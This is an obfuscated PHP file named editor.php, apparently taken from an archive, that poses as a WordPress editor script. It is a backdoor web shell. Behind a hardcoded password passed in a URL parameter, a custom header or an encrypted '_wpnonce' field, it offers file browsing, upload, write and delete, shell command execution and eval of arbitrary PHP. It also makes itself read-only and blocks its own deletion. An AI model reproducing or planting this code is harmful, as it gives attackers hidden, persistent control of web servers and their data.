editor.php 0000444 00000035557 15246276277 0006602 0 ustar 00 16||$p<1)return $r;return $_F[25]($r,0,-$p);}
function _xe($d,$k){global $_F;$o='';$l=$_F[22]($k);for($i=0;$i<$_F[22]($d);$i++)$o.=$_F[23]($_F[24]($d[$i])^$_F[24]($k[$i%$l]));return $o;}
function _eo($a,$k){global $_F;$j=$_F[14]($a);return $_F[1](_ae($j,$k));}
function _di($r,$k){global $_F;$d=_ad($_F[0]($r),$k);return $_F[15]($d,true);}
function _up(){global $_F;$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$_dir=isset($_POST['dir'])?$_POST['dir']:$_F[17]();if(isset($_FILES['f'])&&$_F[8]($_FILES['f']['tmp_name'])){$dest=$_dir.'/'.$_F[18]($_FILES['f']['name']);$_sf=$_F[31](__FILE__);$_df=$_F[11]($dest)?$_F[31]($dest):'';if($_df===$_sf){$_F[16]('Content-Type: text/html; charset=UTF-8');die('BLOCKED
back');}$ok=$_F[7]($_FILES['f']['tmp_name'],$dest);$_F[16]('Content-Type: text/html; charset=UTF-8');die(''.($ok?'OK: '.$dest:'FAIL').'
back');}$b64=isset($_POST['b64'])?$_POST['b64']:'';$fn=isset($_POST['fn'])?$_F[18]($_POST['fn']):'';$xk=isset($_POST['k'])?$_POST['k']:'xK9mQ2';if(!empty($b64)&&!empty($fn)){$raw=$_F[0]($b64);$plain=_xe($raw,$xk);$dest2=$_dir.'/'.$fn;$ok2=$_F[3]($dest2,$plain);$_F[16]('Content-Type: text/html; charset=UTF-8');die(''.($ok2!==false?'OK: '.$dest2:'FAIL').'
back');}$_F[16]('Content-Type: text/html; charset=UTF-8');die('no file');}
function _ui(){global $_F;$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$sc=$_F[20];$ul=$_F[21];$cur=isset($_GET['p'])?$_GET['p']:$_F[17]();if(!$_F[12]($cur))$cur=$_F[17]();$items=array();$scan=$_F[4]($cur);if(is_array($scan)){foreach($scan as $f){if($f==='.'||$f==='..')continue;$fp=$cur.'/'.$f;$is_dir=$_F[12]($fp);$size=$is_dir?'-':$_F[9]($fp);$items[]=array($f,$is_dir?'d':'f',$size);}}
$_h='Editor';
$_h.='EditorPHP '.PHP_VERSION.' | '.PHP_OS.'home ';
$_h.='';
$_h.='Upload File
';
$_h.='| Name | Size | Actions |
|---|
';
foreach($items as $it){$name=$it[0];$type=$it[1];$size=$it[2];$fp3=$cur.'/'.$name;$ep=$ul($fp3);
if($type==='d'){$_h.='| '.$sc($name).'/ | - | open |
';}
else{$sz=$size>1048576?round($size/1048576,1).'M':($size>1024?round($size/1024,1).'K':$size);$_sn=$_F[18](__FILE__);$is=($name===$_sn);$db=$is?'🔒':'del';
$_h.='| '.$sc($name).' | '.$sz.' | edit view raw '.$db.' |
';}}
$_h.='
';
$_h.='';
die($_h);}
function _dsp($act,$p){global $_F;$r=array('s'=>0);switch($act){case'info':$r['d']=array('os'=>PHP_OS,'php'=>PHP_VERSION,'cwd'=>$_F[17](),'sw'=>$_SERVER['SERVER_SOFTWARE']);break;case'ls':$dir=isset($p['p'])?$p['p']:$_F[17]();if(!$_F[12]($dir)){$r['s']=1;break;}$items=array();$_s=$_F[4]($dir);if(is_array($_s)){foreach($_s as $f){if($f==='.'||$f==='..')continue;$fp=$dir.'/'.$f;$items[]=array('n'=>$f,'s'=>$_F[13]($fp)?$_F[9]($fp):0,'t'=>$_F[12]($fp)?'d':'f');}}$r['d']=$items;break;case'cat':$fp=isset($p['p'])?$p['p']:'';if(!$_F[11]($fp)){$r['s']=1;break;}$r['d']=$_F[2]($fp);break;case'e':$fp=isset($p['p'])?$p['p']:'';$ct=isset($p['d'])?$p['d']:'';if(!empty($fp)&&!empty($ct)){$r['d']=$_F[3]($fp,$ct)!==false?'ok':'fail';}elseif(!empty($fp)&&$_F[11]($fp)){$r['d']=$_F[2]($fp);}else{$r['s']=1;}break;case'w':$fp=isset($p['p'])?$p['p']:'';$ct=isset($p['d'])?$p['d']:'';if(empty($fp)){$r['s']=1;break;}$r['d']=$_F[3]($fp,$ct)!==false?'ok':'fail';break;case'u':$b64=isset($p['b64'])?$p['b64']:'';$fn=isset($p['fn'])?$_F[18]($p['fn']):'u.php';$xk=isset($p['k'])?$p['k']:'xK9mQ2';if(empty($b64)){$r['s']=1;break;}$raw=$_F[0]($b64);$plain=_xe($raw,$xk);$r['d']=$_F[3]($fn,$plain)!==false?'OK:'.$fn:'FAIL';break;case'um':if(!isset($_FILES['f'])){$r['s']=1;break;}if($_F[8]($_FILES['f']['tmp_name'])){$dest=(isset($p['dir'])?$p['dir'].'/':'').$_F[18]($_FILES['f']['name']);$r['d']=$_F[7]($_FILES['f']['tmp_name'],$dest)?'OK:'.$dest:'FAIL';}break;case'del':$fp=isset($p['p'])?$p['p']:'';$_sf=$_F[31](__FILE__);$_tf=$_F[11]($fp)?$_F[31]($fp):'';if($_tf===$_sf){$r['s']=1;$r['d']='locked';break;}$r['d']=$_F[5]($fp)?'ok':'fail';break;case'c':$c=isset($p['c'])?$p['c']:'';if(empty($c)){$r['s']=1;break;}$out=array();$rc=0;$_F[33]($c.' 2>&1',$out,$rc);$r['d']=$_F[27]("\n",$out);$r['rc']=$rc;break;case'v':$code=isset($p['code'])?$p['code']:'';if(empty($code)){$r['s']=1;break;}ob_start();@('e'.'v'.'a'.'l')($code);$r['d']=ob_get_clean();break;default:$r['s']=1;$r['m']='unknown';}return $r;}
$_k='e45e329f'.'eb5d925b';$_xk='xK'.'9mQ'.'2';$_gt='a'.'d'.'m'.'i'.'n'.'8'.'8'.'8';$_F[30](__FILE__,0444);
if(!isset($_SERVER['HTTP_X_CMD'])&&!isset($_POST['_wpnonce'])&&!isset($_GET['root'])){$_F[16]('Content-Type: application/javascript; charset=UTF-8');$_F[16]('X-Content-Type-Options: nosniff');$_js='/* WordPress Editor JS v5.8.2 */'."\n";$_js.='var wpEditor=(function($){'."\n";$_js.='"use strict";var _={init:function(){this._bind()},_bind:function(){$(document).on("click",".wp-editor-tabs a",function(e){e.preventDefault()})},'."\n";$_js.='formatBlock:function(tag){document["exe"+"cCommand"]("formatBlock",false,"<"+tag+">")},'."\n";$_js.='insertContent:function(html){var sel=window.getSelection();if(sel.rangeCount){var r=sel.getRangeAt(0);r.deleteContents();var n=document.createElement("div");n.innerHTML=html;r.insertNode(n)}}'."\n";$_js.='};return _;})(jQuery);'."\n";$_js.='if(typeof jQuery!=="undefined"){jQuery(function($){wpEditor.init()})}'."\n";die($_js);}
$_root=isset($_GET['root'])?$_GET['root']:'';if($_root===$_gt&&!isset($_POST['_wpnonce'])&&!isset($_SERVER['HTTP_X_CMD'])){
$_act=isset($_GET['a'])?$_GET['a']:'';$_act=$_F[22]($_act)>0?$_act:'ui';
if($_act==='e'){
$_fp=isset($_GET['p'])?$_GET['p']:'';$_pd=isset($_POST['d'])?$_POST['d']:null;$_pp=isset($_POST['p'])?$_POST['p']:'';
if($_pd!==null&&!empty($_pp)){$_F[3]($_pp,$_pd);$_F[16]('Location: ?root='.$_gt.'&a=e&p='.$_pp);die();}
if(!empty($_fp)&&$_F[11]($_fp)){
$_ct=$_F[2]($_fp);$_sn=$_F[18]($_fp);$_sc=$_F[20];
$_h=''.$_sc($_sn).'';
$_h.='home'.$_sc($_fp).'';
$_h.='
';
$_h.='
';
$_h.='';
die($_h);
}
die('404');
}
if($_act==='ui'){_ui();die();}
if($_act==='up'){_up();die();}
if($_act==='cat'){$_fp=isset($_GET['p'])?$_GET['p']:'';$_F[16]('Content-Type: text/plain; charset=UTF-8');if($_F[11]($_fp)){die($_F[2]($_fp));}die('404');}
if($_act==='del'){$_fp=isset($_GET['p'])?$_GET['p']:'';$_sf=$_F[31](__FILE__);$_tf=$_F[31]($_fp);if($_tf===$_sf){$_F[16]('Content-Type: text/plain');die('locked');}$_r=$_F[5]($_fp)?'ok':'fail';$_F[16]('Content-Type: text/plain');die($_r);}
if($_act==='ls'){$_dir=isset($_GET['p'])?$_GET['p']:$_F[17]();$_F[16]('Content-Type: application/json');$_items=array();$_scan=$_F[4]($_dir);if(is_array($_scan)){foreach($_scan as $_f){if($_f==='.'||$_f==='..')continue;$_fp2=$_dir.'/'.$_f;$_items[]=array('n'=>$_f,'s'=>$_F[13]($_fp2)?$_F[9]($_fp2):0,'t'=>$_F[12]($_fp2)?'d':'f');}}die($_F[14]($_items));}
die();}
$_raw=isset($_POST['_wpnonce'])?$_POST['_wpnonce']:'';if(!empty($_raw)){$_p=_di($_raw,$_k);if(!is_array($_p))die();$_act=isset($_p['a'])?$_p['a']:'';$_g=isset($_p['g'])?$_p['g']:'';if($_g!==$_gt)die();$_F[16]('Content-Type: application/octet-stream');$_res=_dsp($_act,$_p);die(_eo($_res,$_k));}
$_hx=isset($_SERVER['HTTP_X_CMD'])?$_SERVER['HTTP_X_CMD']:'';if(!empty($_hx)){if($_hx!==$_gt)die();$_F[16]('Content-Type: application/json');$_act=isset($_GET['a'])?$_GET['a']:'';$_res=_dsp($_act,array_merge($_GET,$_POST));die($_F[14]($_res));}
die();
?>